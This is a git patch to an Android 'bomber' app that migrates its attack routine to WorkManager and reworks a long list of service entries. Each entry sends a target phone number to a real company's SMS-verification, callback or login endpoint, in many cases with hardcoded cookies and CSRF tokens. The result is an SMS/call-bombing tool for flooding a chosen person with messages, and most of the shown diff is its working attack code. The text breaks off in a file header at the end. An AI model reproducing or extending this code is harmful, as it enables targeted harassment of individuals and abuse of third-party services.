From 2e1d732022c938475dbc2f763fab451631d8605b Mon Sep 17 00:00:00 2001 From: Dmitry Date: Sun, 20 Mar 2022 17:19:05 +0300 Subject: [PATCH] feat: migration to WorkManager --- .idea/misc.xml | 2 + app/build.gradle | 14 +- app/release/output-metadata.json | 4 +- app/src/main/AndroidManifest.xml | 14 + .../java/com/dm/bomber/BomberApplication.java | 27 ++ .../java/com/dm/bomber/bomber/Callback.java | 9 - .../java/com/dm/bomber/services/Services.java | 420 +----------------- .../java/com/dm/bomber/ui/MainActivity.java | 18 +- .../com/dm/bomber/ui/MainModelFactory.java | 10 +- .../dm/bomber/{ => ui}/MainRepository.java | 10 +- .../java/com/dm/bomber/ui/MainViewModel.java | 124 +++--- .../Attack.java => workers/AttackWorker.java} | 88 ++-- .../bomber/{bomber => workers}/AuthProxy.java | 2 +- app/src/main/res/layout/activity_main.xml | 13 +- build.gradle | 2 +- 15 files changed, 206 insertions(+), 551 deletions(-) create mode 100644 app/src/main/java/com/dm/bomber/BomberApplication.java delete mode 100644 app/src/main/java/com/dm/bomber/bomber/Callback.java rename app/src/main/java/com/dm/bomber/{ => ui}/MainRepository.java (92%) rename app/src/main/java/com/dm/bomber/{bomber/Attack.java => workers/AttackWorker.java} (55%) rename app/src/main/java/com/dm/bomber/{bomber => workers}/AuthProxy.java (96%) diff --git a/.idea/misc.xml b/.idea/misc.xml index 9a5f980..fed6542 100644 --- a/.idea/misc.xml +++ b/.idea/misc.xml @@ -7,8 +7,10 @@ + + diff --git a/app/build.gradle b/app/build.gradle index 43ac18e..78b7854 100644 --- a/app/build.gradle +++ b/app/build.gradle @@ -17,8 +17,8 @@ android { applicationId "com.dm.bomber" minSdkVersion 21 targetSdkVersion 32 - versionCode 15 - versionName "1.10.1" + versionCode 18 + versionName "1.11" } buildTypes { @@ -37,12 +37,14 @@ android { dependencies { implementation platform('com.google.firebase:firebase-bom:29.1.0') - implementation 'com.google.firebase:firebase-crashlytics:18.2.8' - implementation 'com.google.firebase:firebase-analytics:20.1.0' + implementation 'com.google.firebase:firebase-crashlytics' + implementation 'com.google.firebase:firebase-analytics' implementation 'androidx.appcompat:appcompat:1.4.1' implementation 'androidx.preference:preference:1.2.0' - implementation 'com.google.android.material:material:1.6.0-alpha02' - implementation 'com.squareup.okhttp3:okhttp:5.0.0-alpha.4' + implementation 'androidx.work:work-runtime:2.7.1' + + implementation 'com.google.android.material:material:1.6.0-alpha03' + implementation 'com.squareup.okhttp3:okhttp:5.0.0-alpha.5' implementation 'jp.wasabeef:blurry:4.0.1' } \ No newline at end of file diff --git a/app/release/output-metadata.json b/app/release/output-metadata.json index 0aa8461..e6e01ed 100644 --- a/app/release/output-metadata.json +++ b/app/release/output-metadata.json @@ -11,8 +11,8 @@ "type": "SINGLE", "filters": [], "attributes": [], - "versionCode": 15, - "versionName": "1.10.1", + "versionCode": 18, + "versionName": "1.10.4", "outputFile": "app-release.apk" } ], diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml index 975eed9..7dd517b 100644 --- a/app/src/main/AndroidManifest.xml +++ b/app/src/main/AndroidManifest.xml @@ -1,10 +1,12 @@ + + + + + \ No newline at end of file diff --git a/app/src/main/java/com/dm/bomber/BomberApplication.java b/app/src/main/java/com/dm/bomber/BomberApplication.java new file mode 100644 index 0000000..7ed36c0 --- /dev/null +++ b/app/src/main/java/com/dm/bomber/BomberApplication.java @@ -0,0 +1,27 @@ +package com.dm.bomber; + +import android.app.Application; +import android.util.Log; + +import androidx.annotation.NonNull; +import androidx.work.Configuration; + +import com.google.android.material.color.DynamicColors; + +public class BomberApplication extends Application implements Configuration.Provider { + @Override + public void onCreate() { + DynamicColors.applyToActivitiesIfAvailable(this); + + super.onCreate(); + } + + @NonNull + @Override + public Configuration getWorkManagerConfiguration() { + return new Configuration.Builder() + .setMinimumLoggingLevel(Log.ERROR) + .build(); + + } +} diff --git a/app/src/main/java/com/dm/bomber/bomber/Callback.java b/app/src/main/java/com/dm/bomber/bomber/Callback.java deleted file mode 100644 index 02f2503..0000000 --- a/app/src/main/java/com/dm/bomber/bomber/Callback.java +++ /dev/null @@ -1,9 +0,0 @@ -package com.dm.bomber.bomber; - -public interface Callback { - void onAttackEnd(); - - void onAttackStart(int serviceCount, int numberOfCycles); - - void onProgressChange(int progress); -} diff --git a/app/src/main/java/com/dm/bomber/services/Services.java b/app/src/main/java/com/dm/bomber/services/Services.java index 48c1edf..0d5bcf4 100644 --- a/app/src/main/java/com/dm/bomber/services/Services.java +++ b/app/src/main/java/com/dm/bomber/services/Services.java @@ -22,7 +22,7 @@ public class Services { - public static boolean contains(final int[] array, final int key) { + private static boolean contains(final int[] array, final int key) { for (final int i : array) { if (i == key) { return true; @@ -44,25 +44,16 @@ public static List getUsableServices(String countryCode) { } public final static Service[] services = new Service[]{ - new Telegram(), new MTS(), new CarSmile(), new Eldorado(), new Tele2TV(), - new Ukrzoloto(), new Olltv(), new ProstoTV(), - new Zdravcity(), new Robocredit(), new Tinder(), new Groshivsim(), - new Dolyame(), new Tinkoff(), new FoodBand(), new Gosuslugi(), - new Citimobil(), new TikTok(), new Multiplex(), - new Ozon(), new OK(), new VKWorki(), new SberZvuk(), - new BApteka(), new Evotor(), new Sportmaster(), - new GoldApple(), new FriendsClub(), new ChestnyZnak(), - new MoeZdorovie(), new Discord(), new Metro(), - new Mozen(), new MosMetro(), new BCS(), new TochkaBank(), + new Telegram(), new Tele2TV(), + new Ukrzoloto(), new Olltv(), new ProstoTV(), new Groshivsim(), + new Dolyame(), new Tinkoff(), new Gosuslugi(), new Multiplex(), new Evotor(), new MosMetro(), new BCS(), new Uchiru(), new Biua(), new MdFashion(), new RiveGauche(), new XtraTV(), new AlloUa(), new Rulybka(), - new Technopark(), new Call2Friends(), new Ievaphone(), new Tele2(), new Profi(), - new BeriZaryad(), new PrivetMir(), new CardsMobile(), new Labirint(), - new CallMyPhone(), new SberMobile(), new Choco(), - new AptekaOtSklada(), new AutoRu(), new SatUa(), new VapeZone(), - new Melzdrav(), new Fonbet(), new Grilnica(), new Aitu(), new Pizzaman(), + new Technopark(), new Call2Friends(), new Profi(), + new BeriZaryad(), new CardsMobile(), new Labirint(), new SberMobile(), new AutoRu(), new SatUa(), + new Melzdrav(), new Fonbet(), new Grilnica(), new Soscredit(), new ChernovtsyRabota(), new Eva(), new Apteka(), - new Kari(), new Modulebank(), + new Kari(), new ParamsService("https://findclone.ru/register") { @Override @@ -145,30 +136,6 @@ public String buildJson() { } }, - new JsonService("https://www.vprok.ru/as_send_pin") { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Cookie", "split_segment=8; split_segment_amount=10; XSRF-TOKEN=eyJpdiI6ImpnRVJoY0swSEVPSWtsa2JMWTJPVnc9PSIsInZhbHVlIjoiOXp0V3c4WTdUbE82U2czTTZ3dkpoNVd1T1J0YkpTNWI0c3JZdG10bVZKTFBPMmZ2a1F4Mjl5b2RETWl5ZjZvYzFkU1wvMkw1T2pPMjV0NVZYV1pYSk9BPT0iLCJtYWMiOiJiYTg1MjM2ZWQ0NGVjOTUyOTgyNzcyMDU3ZDY5MjY5NmYyNzgwNTQ0MmI1Y2Y1NzNiMmVhMWQ5ZjFmOTllMDRhIn0%3D; region=8; shop=2671; noHouse=0; fcf=3; _dy_ses_load_seq=17826%3A1638380585139; _dy_c_exps=; _dy_c_att_exps=; isUserAgreeCookiesPolicy=true; suuid=bcb02b51-0827-4b04-9723-8c80419b120b; aid=eyJpdiI6Im9PdUtnOUs4eEFncTBvRHB5R0oxS1E9PSIsInZhbHVlIjoiM0Vxa2xCd1dYeERhNVJBaE04TVlYQWVwTzlIYndHQ3ZsWFFxMjRZclg4RWlFeDBmQVwvUFdmUXBsTlNtS1VmWEFkSFJ6SXM5QVZNNmwzeGRwNk1PbEJRPT0iLCJtYWMiOiJkODE2MjBlMTI4MTIxNDRkYTVhM2NmMjYyMWUyNTFkNDQzYWM0ZTQ4MDZhYjNhYmM3NDNhMmJkODZjMjUwY2JkIn0%3D; luuid=bcb02b51-0827-4b04-9723-8c80419b120b; _dy_csc_ses=t; splitVar=test01-A"); - builder.addHeader("X-CSRF-TOKEN", "QPhHmWEtMAoBeuKgULCeLtejbfvKD2n4yMKylL3T"); - builder.addHeader("X-XSRF-TOKEN", "eyJpdiI6IjhJQkhaWWh6VEJ1SVhsZERPVk53eWc9PSIsInZhbHVlIjoiNzFsUjVOZFwvTVYrY0gxdzI4MklcL1FMS1FZUGh3OUZOcUZDdkZIQUJiOUZ5Q1VHMXd6SWptaTNQNmhCbnduT0NqVklhRFBDbXcrOG10ejVjZXIxK3RWZz09IiwibWFjIjoiZWU0NGFlYzVmZTQwOWMyYjkzNTlkNmQ0YzUxYjc4NmY3MTZiYzgwZjZlMmVlNWM5MzA2YmY1MDcxNmZkNzdkYyJ9"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - new FormService("https://chuck-family.ru/s/get-registration-confirm-code.json", 7) { @Override public void buildBody(FormBody.Builder builder) { @@ -225,21 +192,6 @@ public String buildJson() { } }, - new JsonService("https://blanc.ru/api/sso/entrance/login") { - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phoneNumber", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - new JsonService("https://api.sunlight.net/v3/customers/authorization/") { @Override public String buildJson() { @@ -271,29 +223,6 @@ public String buildJson() { } }, - new FormService("https://telephony.jivosite.com/api/1/sites/900909/widgets/OVHsL3W8hY/clients/17314/telephony/callback") { - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("phone", getFormattedPhone()); - builder.add("invitation_text", ""); - } - }, - - new ParamsService("https://oapi.raiffeisen.ru/api/sms-auth/public/v1.0/phone/code") { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0"); - builder.addHeader("Referer", "https://www.raiffeisen.ru/promo/500/?utm_campaign=perfluence%7cpr:dc%7csp:cashback%7ctype:referral%7cgeo:russia%7cmodel:issue%7coffer:private%7caud:AAAAAEazJzK_u9lCZcabcA&utm_medium=affiliate&utm_source=perfluence&utm_content=PF13516&utm_term=f56cb6d037db79233e3ff66fbe70b375"); - - return super.buildRequest(builder); - } - - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addQueryParameter("number", getFormattedPhone()); - } - }, - new FormService("https://www.traektoria.ru/local/ajax/authorize.php?action=2", 7) { @Override public void buildBody(FormBody.Builder builder) { @@ -303,74 +232,6 @@ public void buildBody(FormBody.Builder builder) { } }, - new JsonService("https://api.magonline.ru/api/graphql") { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("token", "3a4711a14672e7a56b2072f1e06f10f3a578e8d1-d697b32f5a10ee16e71d407721f181ca63b78931"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("query", " mutation ($input: RequestPhoneVerificationInput!) { requestSignInPhoneVerificationCode (input: $input) { count maxCount resendTime lifetime isVerified} }"); - json.put("variables", new JSONObject().put("input", new JSONObject() - .put("phone", "+" + getFormattedPhone()) - .put("force", false))); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - - new JsonService("https://kos-mart.ru/send_code.json?code_iso3=RUS") { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("X-CSRF-Token", "346f6048925a05eed2bb00f6f2638c8698835b6b210d8008dd52434c9d3fd6db"); - builder.addHeader("Cookie", "visitor=hAj8xSk%2BWTqzWzIVzg9YKxQC24hQ%2BovUq%2FINA%2FhzRcrK%2BDpmrxGgHS0YuXy8Vc2KhZncrn4A6eD4tWPPgeXAbbxpLgX8eiftIu6oW6nAMf4etxH12h%2Fkc3cSKHNYXyGqhplGMABzIWS%2BYhM2Yr4XOv78GGZ1--WklonPFjDt9ZXN1y--ft3u0Hj4RfSK%2BlicU8bHjw%3D%3D; csrf_token=hRtO1GjeLhMOne47Kqv55g1tOY0f81YZp6jDXqnsLCNAEVA5FQ3nu6EYSgTnhNqufOZ6PWAhYPokQX007NWP2P6v8sy0%2FibcO6Bpb2znkRE%2FVsWoLWpifQdUV1TQwn%2FDlFxdvHMYkM0SylJGyKCwUgp05X1TViDNmxxjihjFgRDu1jKNdv2a5TrRvqa%2BBIvg0s5vXvxOh7%2FiKzPAV2Ppl%2Fo%3D--%2FaKP69e2yjH62Z06--nePoBJumFNoxCckoj73AJQ%3D%3D"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("csrf_token", "346f6048925a05eed2bb00f6f2638c8698835b6b210d8008dd52434c9d3fd6db"); - json.put("login", "+" + getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - - new FormService("https://www.meloman.kz/loyalty/customer/createConfirm/", 7) { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Cookie", "PHPSESSID=vpqcv1o4psr14aripnt2a728ao; region_id=541; region_just_set=1; _dyjsession=audqfsd8yyfd75iqwvk8j32eqtqo1vfa; dy_fs_page=www.meloman.kz%2Fcustomer%2Faccount%2Flogin%2Freferer%2Fahr0chm6ly93d3cubwvsb21hbi5rei9jdxn0b21lci9hy2nvdw50l2luzgv4lw%252c%252c; _dy_csc_ses=audqfsd8yyfd75iqwvk8j32eqtqo1vfa; _dy_c_exps=; _dy_soct=362831.602231.1639410140*398001.680451.1639410143.audqfsd8yyfd75iqwvk8j32eqtqo1vfa*477267.869366.1639410143; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; form_key=b2SMIQBgbkQmR4FF; mage-cache-sessid=true; mage-messages=; recently_viewed_product=%7B%7D; recently_viewed_product_previous=%7B%7D; recently_compared_product=%7B%7D; recently_compared_product_previous=%7B%7D; product_data_storage=%7B%7D; section_data_ids=%7B%22customer%22%3A1639410141%2C%22cart%22%3A1639410141%2C%22gtm%22%3A1639410141%7D"); - - return super.buildRequest(builder); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("form_key", "b2SMIQBgbkQmR4FF"); - builder.add("success_url", ""); - builder.add("error_url", ""); - builder.add("un_approved_mobile", format(phone, "+7(***)***-**-**")); - builder.add("confirm_mobile_code", ""); - builder.add("terms", "on"); - } - }, - new JsonService("https://ogon.ru/v1/users/auth") { @Override public Request buildRequest(Request.Builder builder) { @@ -399,13 +260,6 @@ public String buildJson() { } }, - new ParamsService("https://cvety.kz/ajax/actions/get-auth-phone.php", 7) { - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addQueryParameter("phone", format(phone, "+7 *** ***-**-**")); - } - }, - new JsonService("https://cnt-vlmr-itv02.svc.iptv.rt.ru/api/v2/portal/send_sms_code") { @Override public Request buildRequest(Request.Builder builder) { @@ -462,13 +316,6 @@ public void onResponse(@NonNull Call call, @NonNull Response response) { } }, - new FormService("https://alphasms.ua/ajax/test/") { - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("phone", "+" + getFormattedPhone()); - } - }, - new FormService("https://orteka.ru/bitrix/services/main/ajax.php?mode=class&c=orteka:auth.registration&action=confirmPhone", 7) { @Override public Request buildRequest(Request.Builder builder) { @@ -552,21 +399,6 @@ public void buildBody(FormBody.Builder builder) { } }, - new JsonService("https://lkdr.nalog.ru/api/v1/auth/challenge/sms/start") { - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - new FormService("https://happywear.ru/index.php?route=module/registerformbox/ajaxCheckEmail", 7) { @Override public void buildBody(FormBody.Builder builder) { @@ -577,23 +409,6 @@ public void buildBody(FormBody.Builder builder) { } }, - new JsonService("https://www.italbazar.ru/api/v1/auth/send_otp/", 7) { - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("source", format(phone, "+7(***)***-**-**")); - json.put("type", "phone"); - json.put("phoneChanged", false); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - new ParamsService("https://www.sportmaster.ua/?module=users&action=SendSMSReg", 380) { @Override public void buildParams(HttpUrl.Builder builder) { @@ -627,62 +442,6 @@ public String buildJson() { } }, - new JsonService("https://admin.growfood.pro/api/personal-cabinet/v2_0/authentication/send-sms", 7) { - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("client", new JSONObject() - .put("phone", format(phone, "*** *** ** **"))); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - - new JsonService("https://api.mikafood.ru/") { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("x-stigma-storefront-access-token", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzaG9wSWQiOiJjanoxOHBoYW4wMDV3MDc2OXVhdTM0cG9mIn0.e1fREfFnOVvKrEHyvPhvA3mfsEeDxIWQ5Tyn_PKYiQg"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("operationName", "authBySms"); - json.put("query", "mutation authBySms($phone: PhoneNumber!) { authBySms(phone: $phone)}"); - json.put("variables", new JSONObject() - .put("phone", "+" + getFormattedPhone())); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - - new FormService("https://pronto24.ru/user/generate-password", 7) { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Cookie", "upkvartal-frontend=2prs0qopa4s3ekkmk6dtj0j5gt; _csrf-frontend=f890e8cd433864caea0d0baa2f01eab3a95cf55e47f2cd3e053028c99701270fa%3A2%3A%7Bi%3A0%3Bs%3A14%3A%22_csrf-frontend%22%3Bi%3A1%3Bs%3A32%3A%22N8lxSf8EIRP90jtz4afbJ_06737Vg_YI%22%3B%7D"); - - return super.buildRequest(builder); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("phone", format(phone, "+7 (***) ***-**-**")); - builder.add("_csrf-frontend", "rSOZhIxsuT6l1No0nhA7VwpteG4A57Dl4cVllaFtZxTjG_X83wqBe-yGig2uek8tPgweDEq4gNPW9lLDxjI-XQ=="); - } - }, - new FormService("https://feelka.kz/profile/login/send") { @Override public Request buildRequest(Request.Builder builder) { @@ -701,47 +460,20 @@ public void buildBody(FormBody.Builder builder) { new FormService("https://coffeemania.ru/login", 7) { @Override public Request buildRequest(Request.Builder builder) { - builder.addHeader("Cookie", "advanced-frontend=ac7d4d086890f8a29099c5a22e5e12bb; usertoken=8eaf2f690636a09b6d1e9d7368a0b317b96b435f4bb38b78281dcf717d2f4a02a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22usertoken%22%3Bi%3A1%3Bs%3A20%3A%22qKHqFK7jvSly0StThkNG%22%3B%7D; _csrf-frontend=a779c6e25139b13f071babdf513c4c21b58a9ae58ea099c96c929a00bb7ea524a%3A2%3A%7Bi%3A0%3Bs%3A14%3A%22_csrf-frontend%22%3Bi%3A1%3Bs%3A32%3A%22ooZZFy-WoJd52qCzuoSLcooLLUawtD0H%22%3B%7D"); - builder.addHeader("X-CSRF-Token", "6kUb5YARW8xNOsjBUE6e4OuTFB6DTqVt6ckOsR240VOFKkG_xmh2myJwrPRiP92anvxHUuAhyiGlnG_GafzhGw=="); + builder.addHeader("Cookie", "advanced-frontend=249af0fec8eba234a5073a8b2b4b669c; usertoken=0dd71cf26a60cde974fccea7cbf4b1cc7fef6b42f5ae1a90931ab02a97f634f9a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22usertoken%22%3Bi%3A1%3Bs%3A20%3A%22BUgLuZWPOYpqpTzfedEY%22%3B%7D; _csrf-frontend=8ec96385efe9d0b6692a0e20f48242093099e01e8c3e6421880f123f0c0c3c1aa%3A2%3A%7Bi%3A0%3Bs%3A14%3A%22_csrf-frontend%22%3Bi%3A1%3Bs%3A32%3A%22aHlaJkh2k2DM8fPsDxNfearHyYM7a-EF%22%3B%7D;"); + builder.addHeader("X-CSRF-Token", "oRDK7RaJ4l1phEUjnxKBTVWBOMthFfRRMHQu12jdFrHAWKaMXOKKbwK2AW6ndNE-Efl2rQR0hhlJLWPgCfBT9w=="); return super.buildRequest(builder); } @Override public void buildBody(FormBody.Builder builder) { - builder.add("_csrf-frontend", "Ve-rX626vGjdimmAJBTVHskpQnydy2GUWKHAfZ0wZCA6gPEF68ORP7LADbUWZZZkvEYRMP6kDtgU9KEK6XRUaA=="); + builder.add("_csrf-frontend", "ErLX8KCUbLFIDYTf3Mc9ZA2mgNEXIC4iUNuFeTeFuxtz-ruR6v8EgyM_wJLkoW0XSd7Ot3JBXGopgshOVqj-XQ=="); builder.add("LoginForm[phone]", format(phone, "+7(***)***-**-**")); builder.add("LoginForm[type]", ""); } }, - new JsonService("https://new-api.delikateska.ru/graphql") { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Cookie", "SERVERIDN=srv-nbe-03|YeQqC|YeQoz; _def_ne_deli=38129790841; uid=a98eab61-5a9c-47b9-b465-fef97dbcd522; cAuth_People_id=1321615; cAuth_People_time=1642342632408; cAuth_People_key=d6979f8e5ac17a3727d948f93d024e8f"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("query", " mutation loginOrRegisterBySms($phone: String!, $code: Int, $action: PeopleSmsAction, $partnerId: Int){ loginOrRegisterBySms(phone: $phone, code: $code, partnerId: $partnerId, action: $action) { success info people { id email cookie_id cartCookieId status_id settingsItem { epp_catalog catalog_sorting } } error errorCode } } "); - json.put("variables", new JSONObject() - .put("action", "LOGIN") - .put("code", null) - .put("partnerId", null) - .put("phone", getFormattedPhone())); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - new FormService("https://ru.shein.com/user/auth/sendcode?_lang=ru&_ver=1.1.8", 7) { @Override public void buildBody(FormBody.Builder builder) { @@ -758,6 +490,7 @@ public void buildBody(FormBody.Builder builder) { @Override public void buildParams(HttpUrl.Builder builder) { builder.addQueryParameter("number", format(phone, "7(***)***-**-**")); + builder.addQueryParameter("_", "1646757906656"); } }, @@ -770,38 +503,6 @@ public void buildBody(FormBody.Builder builder) { } }, - new FormService("https://defile.ru/") { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Cookie", "PHPSESSID=oj08huc3bh74otl9tci0707mpl; was101120_2=true; BITRIX_CONVERSION_CONTEXT_s1=%7B%22ID%22%3A10%2C%22EXPIRE%22%3A1642539540%2C%22UNIQUE%22%3A%5B%22conversion_visit_day%22%5D%7D"); - - return super.buildRequest(builder); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("component", "bxmaker.authuserphone.login"); - builder.add("sessid", "f07348fa8faef83c25c3b1a3d54f4678"); - builder.add("method", "sendCode"); - builder.add("phone", getFormattedPhone()); - } - }, - - new JsonService("https://api.raketaapp.com/v1/auth/otps?ngsw-bypass=true") { - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - new FormService("https://sushiicons.com.ua/kiev/index.php?route=common/cart/ajaxgetcoderegister", 380) { @Override public void buildBody(FormBody.Builder builder) { @@ -921,42 +622,6 @@ public String buildJson() { } }, - new Service(7) { - @Override - public void run(OkHttpClient client, Callback callback) { - client.newCall(new Request.Builder() - .url("https://mirage.ru/api/ajax.php") - .post(RequestBody.create("------WebKitFormBoundarylD2tjgLGIApyeAbe\n" + - "Content-Disposition: form-data; name=\"phone\"\n\n" + - format(phone, "+7 (***) ***-**-**") + - "\n------WebKitFormBoundarylD2tjgLGIApyeAbe\n" + - "Content-Disposition: form-data; name=\"func\"\n\n" + - "auth_send_code\n" + - "------WebKitFormBoundarylD2tjgLGIApyeAbe\n" + - "Content-Disposition: form-data; name=\"module\"\n\n" + - "cabinet\n" + - "------WebKitFormBoundarylD2tjgLGIApyeAbe--", MediaType.parse("multipart/form-data; boundary=----WebKitFormBoundarylD2tjgLGIApyeAbe"))) - .build()).enqueue(callback); - } - }, - - new FormService("https://avilon.ru/ajax/modal/auth.php", 7) { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36 Edg/98.0.1108.43"); - - return super.buildRequest(builder); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("action", "1"); - builder.add("step", "1"); - builder.add("template", "mobile"); - builder.add("phone", format(phone, "+7 *** *** ** **")); - } - }, - new ParamsService("https://fe.dominospizza.ru/api/authentication/sendVerificationSms", "POST", 7) { @Override public Request buildRequest(Request.Builder builder) { @@ -971,28 +636,6 @@ public void buildParams(HttpUrl.Builder builder) { } }, - new JsonService("https://beloris.ru/ajax/users/send_sms_login", 7) { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("x-csrf-token", ""); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", format(phone, "+7(***) ***-****")); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - new JsonService("https://vyksa.fitauto.ru/users.getsmscode.fn", 7) { @Override public String buildJson() { @@ -1096,21 +739,6 @@ public String buildJson() { } }, - new ParamsService("https://www.farpost.ru/sign/code/4f4fa7e19e3ba823af9bfc8af95bfd3d/send") { - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addQueryParameter("sign", getFormattedPhone()); - builder.addQueryParameter("return", "/"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Cookie", "ring=09090bc822948c9b09190782e129530d; _gid=GA1.2.1845397233.1644852398; PHPSESSID=09090bc822948c9b09190782e129530d; _ga_G0RWKN84TQ=GS1.1.1644942896.3.1.1644942996.0; _gat=1; _ga=GA1.1.228350603.1644852398"); - - return super.buildRequest(builder); - } - }, - new FormService("https://client.taximaxim.com/ru-RU/site/send-code/?tax-id=yFL33BWu8yOEhqH0C0bV8BfGWKFjFba7Sxdwcdfppe71sHd4uxidkbS5%2B%2BYzBsW%2BiAH1yXFh2Na5bJdvZaNNTNRa6w%2BY1xpwqd1XUGEIcJc%3D") { @Override public void buildBody(FormBody.Builder builder) { @@ -1132,30 +760,6 @@ public Request buildRequest(Request.Builder builder) { } }, - new JsonService("https://www.kolesa-darom.ru/ajax/user/register") { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("X-Bitrix-Csrf-Token", "80d2bb6c5a485281fede4066666273ab"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("approveRule", true); - json.put("phoneNumber", getFormattedPhone()); - json.put("step", new JSONObject().put("requestCode", "requestCode")); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - new Service(7) { @Override public void run(OkHttpClient client, Callback callback) { diff --git a/app/src/main/java/com/dm/bomber/ui/MainActivity.java b/app/src/main/java/com/dm/bomber/ui/MainActivity.java index fab6542..3c096b6 100644 --- a/app/src/main/java/com/dm/bomber/ui/MainActivity.java +++ b/app/src/main/java/com/dm/bomber/ui/MainActivity.java @@ -21,14 +21,13 @@ import androidx.appcompat.widget.TooltipCompat; import androidx.core.content.ContextCompat; import androidx.lifecycle.ViewModelProvider; +import androidx.work.WorkManager; -import com.dm.bomber.MainRepository; import com.dm.bomber.R; import com.dm.bomber.databinding.ActivityMainBinding; import com.dm.bomber.databinding.DialogProxiesBinding; import com.dm.bomber.databinding.DialogSettingsBinding; import com.google.android.material.bottomsheet.BottomSheetDialog; -import com.google.android.material.color.DynamicColors; import com.google.android.material.color.MaterialColors; import com.google.android.material.dialog.MaterialAlertDialogBuilder; import com.google.android.material.snackbar.Snackbar; @@ -48,10 +47,9 @@ public class MainActivity extends AppCompatActivity { protected void onCreate(Bundle savedInstanceState) { repository = new MainRepository(this); model = new ViewModelProvider(this, - new MainModelFactory(repository)).get(MainViewModel.class); + new MainModelFactory(repository, WorkManager.getInstance(this))).get(MainViewModel.class); AppCompatDelegate.setDefaultNightMode(repository.getTheme()); - DynamicColors.applyIfAvailable(this); super.onCreate(savedInstanceState); @@ -100,8 +98,7 @@ protected void onCreate(Bundle savedInstanceState) { model.getAttackStatus().observe(this, attackStatus -> { if (attackStatus) { - mainBinding.main - .getViewTreeObserver() + mainBinding.main.getViewTreeObserver() .addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() { @Override public void onGlobalLayout() { @@ -113,9 +110,7 @@ public void onGlobalLayout() { .getAsync(bitmap -> { mainBinding.blur.setImageBitmap(bitmap); - mainBinding.blur.setVisibility(View.VISIBLE); mainBinding.main.setVisibility(View.INVISIBLE); - mainBinding.attack.setVisibility(View.VISIBLE); }); @@ -128,7 +123,6 @@ public void onGlobalLayout() { } mainBinding.main.setVisibility(View.VISIBLE); - mainBinding.blur.setVisibility(View.GONE); mainBinding.attack.setVisibility(View.GONE); }); @@ -280,8 +274,10 @@ public void onWindowFocusChanged(boolean hasFocus) { @Override public void onBackPressed() { - if (!model.stopAttack()) - super.onBackPressed(); + model.stopAttack(); + + if (mainBinding.attack.getVisibility() != View.VISIBLE) + finish(); } private int getThemeColor(@AttrRes int attrRes) { diff --git a/app/src/main/java/com/dm/bomber/ui/MainModelFactory.java b/app/src/main/java/com/dm/bomber/ui/MainModelFactory.java index 